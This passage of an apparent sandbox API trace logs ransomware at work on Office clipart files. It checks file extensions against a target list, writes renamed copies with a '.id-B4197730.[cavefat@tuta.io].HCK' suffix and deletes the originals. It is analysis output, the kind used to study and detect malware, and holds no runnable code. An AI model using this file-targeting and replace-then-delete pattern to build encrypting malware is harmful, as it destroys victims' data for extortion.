Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString=".dbf") returned 4 [0237.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString=".1cd") returned 4 [0237.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString=".jpg") returned 4 [0237.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString=".doc") returned 4 [0237.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString=".docx") returned 5 [0237.132] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.132] lstrlenW (lpString=".pdf") returned 4 [0237.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString=".xls") returned 4 [0237.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.132] lstrlenW (lpString=".xlsx") returned 5 [0237.133] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.133] lstrlenW (lpString=".ppt") returned 4 [0237.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.133] lstrlenW (lpString=".zip") returned 4 [0237.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.133] lstrlenW (lpString=".rar") returned 4 [0237.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.133] lstrlenW (lpString=".bz2") returned 4 [0237.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.133] lstrlenW (lpString=".7z") returned 3 [0237.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.133] lstrlenW (lpString=".dbf") returned 4 [0237.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.133] lstrlenW (lpString=".1cd") returned 4 [0237.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.133] lstrlenW (lpString=".jpg") returned 4 [0237.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.133] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.133] lstrlenW (lpString="J0152558.WMF") returned 12 [0237.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.134] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16052) returned 1 [0237.134] CloseHandle (hObject=0x568) returned 1 [0237.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0237.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.135] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.135] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.136] GetLastError () returned 0x0 [0237.136] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0237.138] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0237.139] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.139] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.139] SetEndOfFile (hFile=0x3c4) returned 1 [0237.139] CloseHandle (hObject=0x3c4) returned 1 [0237.139] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.139] SetEndOfFile (hFile=0x568) returned 1 [0237.143] CloseHandle (hObject=0x568) returned 1 [0237.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0237.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.144] lstrlenW (lpString=".doc") returned 4 [0237.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.144] lstrlenW (lpString=".docx") returned 5 [0237.144] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.144] lstrlenW (lpString=".pdf") returned 4 [0237.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.144] lstrlenW (lpString=".xls") returned 4 [0237.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.145] lstrlenW (lpString=".xlsx") returned 5 [0237.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.145] lstrlenW (lpString=".ppt") returned 4 [0237.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".zip") returned 4 [0237.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.145] lstrlenW (lpString=".rar") returned 4 [0237.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString=".bz2") returned 4 [0237.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString=".7z") returned 3 [0237.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".dbf") returned 4 [0237.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".1cd") returned 4 [0237.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".jpg") returned 4 [0237.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".doc") returned 4 [0237.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString=".docx") returned 5 [0237.145] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.145] lstrlenW (lpString=".pdf") returned 4 [0237.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString=".xls") returned 4 [0237.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.145] lstrlenW (lpString=".xlsx") returned 5 [0237.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.145] lstrlenW (lpString=".ppt") returned 4 [0237.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.145] lstrlenW (lpString=".zip") returned 4 [0237.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.146] lstrlenW (lpString=".rar") returned 4 [0237.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.146] lstrlenW (lpString=".bz2") returned 4 [0237.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.146] lstrlenW (lpString=".7z") returned 3 [0237.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.146] lstrlenW (lpString=".dbf") returned 4 [0237.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.146] lstrlenW (lpString=".1cd") returned 4 [0237.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0237.146] lstrlenW (lpString=".jpg") returned 4 [0237.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.146] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.146] lstrlenW (lpString="J0152560.WMF") returned 12 [0237.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.147] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10880) returned 1 [0237.147] CloseHandle (hObject=0x568) returned 1 [0237.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220 [0237.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.147] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.148] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.148] GetLastError () returned 0x0 [0237.148] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2a80, lpOverlapped=0x0) returned 1 [0237.150] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2a90, lpOverlapped=0x0) returned 1 [0237.151] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.151] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.151] SetEndOfFile (hFile=0x3c4) returned 1 [0237.151] CloseHandle (hObject=0x3c4) returned 1 [0237.151] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.151] SetEndOfFile (hFile=0x568) returned 1 [0237.153] CloseHandle (hObject=0x568) returned 1 [0237.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0237.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.154] lstrlenW (lpString=".doc") returned 4 [0237.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.154] lstrlenW (lpString=".docx") returned 5 [0237.154] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.154] lstrlenW (lpString=".pdf") returned 4 [0237.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".xls") returned 4 [0237.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.155] lstrlenW (lpString=".xlsx") returned 5 [0237.155] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.155] lstrlenW (lpString=".ppt") returned 4 [0237.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".zip") returned 4 [0237.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.155] lstrlenW (lpString=".rar") returned 4 [0237.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".bz2") returned 4 [0237.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".7z") returned 3 [0237.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".dbf") returned 4 [0237.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".1cd") returned 4 [0237.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".jpg") returned 4 [0237.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".doc") returned 4 [0237.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".docx") returned 5 [0237.155] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.155] lstrlenW (lpString=".pdf") returned 4 [0237.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".xls") returned 4 [0237.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.155] lstrlenW (lpString=".xlsx") returned 5 [0237.155] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.155] lstrlenW (lpString=".ppt") returned 4 [0237.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.155] lstrlenW (lpString=".zip") returned 4 [0237.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.155] lstrlenW (lpString=".rar") returned 4 [0237.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".bz2") returned 4 [0237.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.155] lstrlenW (lpString=".7z") returned 3 [0237.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.156] lstrlenW (lpString=".dbf") returned 4 [0237.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.156] lstrlenW (lpString=".1cd") returned 4 [0237.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0237.156] lstrlenW (lpString=".jpg") returned 4 [0237.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.156] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.156] lstrlenW (lpString="J0152568.WMF") returned 12 [0237.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.156] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3696) returned 1 [0237.156] CloseHandle (hObject=0x568) returned 1 [0237.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0237.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.158] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.158] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.158] GetLastError () returned 0x0 [0237.158] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xe70, lpOverlapped=0x0) returned 1 [0237.369] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xe80, lpOverlapped=0x0) returned 1 [0237.370] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.370] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.370] SetEndOfFile (hFile=0x3c4) returned 1 [0237.370] CloseHandle (hObject=0x3c4) returned 1 [0237.370] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.370] SetEndOfFile (hFile=0x568) returned 1 [0237.373] CloseHandle (hObject=0x568) returned 1 [0237.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0237.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.374] lstrlenW (lpString=".doc") returned 4 [0237.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.374] lstrlenW (lpString=".docx") returned 5 [0237.374] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.374] lstrlenW (lpString=".pdf") returned 4 [0237.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.374] lstrlenW (lpString=".xls") returned 4 [0237.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.374] lstrlenW (lpString=".xlsx") returned 5 [0237.374] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.374] lstrlenW (lpString=".ppt") returned 4 [0237.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.374] lstrlenW (lpString=".zip") returned 4 [0237.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.374] lstrlenW (lpString=".rar") returned 4 [0237.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString=".bz2") returned 4 [0237.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString=".7z") returned 3 [0237.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString=".dbf") returned 4 [0237.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString=".1cd") returned 4 [0237.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString=".jpg") returned 4 